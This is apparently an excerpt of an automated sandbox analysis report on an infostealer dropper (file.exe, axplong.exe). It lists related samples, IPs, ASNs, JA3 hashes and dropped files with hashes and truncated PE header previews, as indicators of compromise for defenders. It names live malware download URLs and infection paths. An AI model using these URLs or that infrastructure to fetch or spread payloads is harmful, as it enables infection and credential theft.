	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	2024_APY839284784.svg	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
ipv4only.arpa	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	2024_APY839284784.svg	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
prod.ads.prod.webservices.mozgcp.net	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	2024_APY839284784.svg	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	34.117.162.98
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	34.117.59.81
	http://swctch.com	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://www.google.com/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rqjkphmdlmFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ftao.bb/RTupG#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	34.117.121.53
ATGS-MMD-ASUS	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	34.36.213.229
	https://protect-us.mimecast.com/s/hYDyCPNMNpH1gQKBC1i0HxuQpT	Get hash	malicious	Unknown	Browse	34.36.213.229
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	51.24.178.86
	amen.x86.elf	Get hash	malicious	Mirai	Browse	32.139.154.117
	amen.arm.elf	Get hash	malicious	Unknown	Browse	48.39.192.116
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	56.12.109.52
	zgp.elf	Get hash	malicious	Mirai	Browse	48.139.236.172
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	34.34.242.120
	amen.sh4.elf	Get hash	malicious	Mirai	Browse	48.240.11.63
	amen.spc.elf	Get hash	malicious	Mirai	Browse	48.221.151.237
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584701926116604
Encrypted:	false
SSDEEP:	12288:9qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TA:9qDEvCTbMWu7rQYlBQcBiT6rprG8abA
MD5:	530C8D510535E62FD422303538B7DCF4
SHA1:	6287FF30B41766AE4A5A78541581ED683BBA7A30
SHA-256:	EBAC1E80D8DA8F131C6264728C4E1B47091619499EA5F5CBB415736F4135AA95
SHA-512:	51D6E4EDF9C38901B966FEAA8E5E4C73662B95047F19C77D2640B3A7DB83C18F74B09CDC5A025EA5A45B9FD58CF61D343F55945F77B0C1382BAF4D94F9E255A6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....2g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.9454368693166915
Encrypted:	false
SSDEEP:	49152:Lgjet/+yQPNYcLHgMwIG22eu+qt/zyxFrjflFy90Uu:LWEmyQRHg7Il2+k/uT7lFyt
MD5:	59B3273D9D5C8F80B5CFE9E160188073
SHA1:	3DFE989CBA1316ED1A4E82B8BF9E73301749E559
SHA-256:	101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8
SHA-512:	7A5B0B3E6F368A8E34ABBB9059D0399937373ECCAC17DE9CBD9E911833ED48D369E97FC3FBF02BA73D66661A2B50926F0630F9923F679F771CA968506DA1B128
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@...........................j...........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .P+...$......t..............@...mmgyxokd.p....P..b...v..............@...ujjtsjxw......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.9454368693166915
Encrypted:	false
SSDEEP:	49152:Lgjet/+yQPNYcLHgMwIG22eu+qt/zyxFrjflFy90Uu:LWEmyQRHg7Il2+k/uT7lFyt
MD5:	59B3273D9D5C8F80B5CFE9E160188073
SHA1:	3DFE989CBA1316ED1A4E82B8BF9E73301749E559
SHA-256:	101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8
SHA-512:	7A5B0B3E6F368A8E34ABBB9059D0399937373ECCAC17DE9CBD9E911833ED48D369E97FC3FBF02BA73D66661A2B50926F0630F9923F679F771CA968506DA1B128
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@...........................j...........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .P+...$......t..............@...mmgyxokd.p....P..b...v..............@...ujjtsjxw......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584701926116604
Encrypted:	false
SSDEEP:	12288:9qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TA:9qDEvCTbMWu7rQYlBQcBiT6rprG8abA
MD5:	530C8D510535E62FD422303538B7DCF4
SHA1:	6287FF30B41766AE4A5A78541581ED683BBA7A30
SHA-256:	EBAC1E80D8DA8F131C6264728C4E1B47091619499EA5F5CBB415736F4135AA95
SHA-512:	51D6E4EDF9C38901B966FEAA8E5E4C73662B95047F19C77D2640B3A7DB83C18F74B09CDC5A025EA5A45B9FD58CF61D343F55945F77B0C1382BAF4D94F9E255A6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....2g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1937408
Entropy (8bit):	7.948138744721676
Encrypted:	false
SSDEEP:	49152:ugpWvpPq4PRzgbjv65CIjyoNaA1bKGfBMK:usWvzgbkaA1TSK
MD5:	B58725B0A514974AAE36A20730ADC4B3
SHA1:	A99EB4395FC9A95CAD952A7D4BD444FB3BAA9103
SHA-256:	A64238BB65C406EC9EF9267F96DE8B2FF4A2DC1998859970F2B7399AED50DB76
SHA-512:	21ED4926463ABFF571FA30161607CFC58EF2106683295830764A6008D9E6C1228271966C951C030B13DB295217B7F568797EBF74FB02A4ED86D198A34D9B7A29
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................L...........@...........................L..........@.................................W...k...........................plL............................. lL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...lfxcpyub......2..r..................@...hhzixuje......L......h..............@....taggant.0....L.."...n..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03703685070990314
Encrypted:	false
SSDEEP:	3:GtlvVxGGvNiB6awFIttlvVxGGvNiB6awfl/dlL9//2ltltl:GtXvNiPttXvNi29XCt1
MD5:	C04A4D57FCEA72ECAEF1BF0C01B72F98
SHA1:	692CC25F681ED24B7418E9AA3B504183CD4898DF
SHA-256:	85CDA8E9F65CAEDE7C1325DFE98B2EE5405B6707A5584708C97C8F6746DA2962
SHA-512:	A6B7E7A4FCC2EE1BE78D24836EEC116B7260F5DE0880F49C47DBB8763ABBF09E3F6BECE52DECD83A782AABF58638A9FA034D3C1DB7364EEA5BAA17CF5CDBA5E3
Malicious:	false
Preview:	..-......................M.n..#....G...?.TLBdT..-......................M.n..#....G...?.TLBdT........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.03461715964742824
Encrypted:	false
SSDEEP:	3:Ol13esmIvuToN4wl8rEXsxdwhml8XW3RTfvu+o5GEX7l8rEXsxdwhml8XW3R2:KrmScMl8dMhm93djo5Nrl8dMhm93w
MD5:	64B6482A2C3EF82BED0C6CD749DA817B
SHA1:	8A5B6108DD07D3C5A43CEB5E8B1DF86A61C92CBC
SHA-256:	CC1D10B074CAF52E6E8B9F25F1DD32A3E7F5391156EDEB872AFDA08B7D2DE313
SHA-512:	D745C49CFF67E06B1C9F0DBFA8A3E9D9AD902101F929A24577C01EE54A4C92502D58751716159493B88113F4FA5114245678FADD15A751F32710C4E39B2BD7A0
Malicious:	false
Preview:	7....-..............G...q.....Z............G..6.g../Ti................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.507105833000294
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp63J0aX+H6SEXK5kHWNBw8dWSl:PPe2JUapHEwL0
MD5:	4C0E743304F8CB2288434403AB3095A9
SHA1:	F16A1B772BCCC7C311B1CF97859D0F4D8608F3CF
SHA-256:	BB475074974336D6AA0938C837DD4AA9596E03C7003948E8FFF333AFCAB596D1
SHA-512:	F555F4018E29861A81B8A99D0C0242F449CB18992A255E630E6422FE3641FB50E3F0DB2891D1EDB60419F75A2BB10AFD2248FA56CD714CDB5254EF90CC27E962
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.507105833000294
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp63J0aX+H6SEXK5kHWNBw8dWSl:PPe2JUapHEwL0
MD5:	4C0E743304F8CB2288434403AB3095A9
SHA1:	F16A1B772BCCC7C311B1CF97859D0F4D8608F3CF
SHA-256:	BB475074974336D6AA0938C837DD4AA9596E03C7003948E8FFF333AFCAB596D1
SHA-512:	F555F4018E29861A81B8A99D0C0242F449CB18992A255E630E6422FE3641FB50E3F0DB2891D1EDB60419F75A2BB10AFD2248FA56CD714CDB5254EF90CC27E962
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

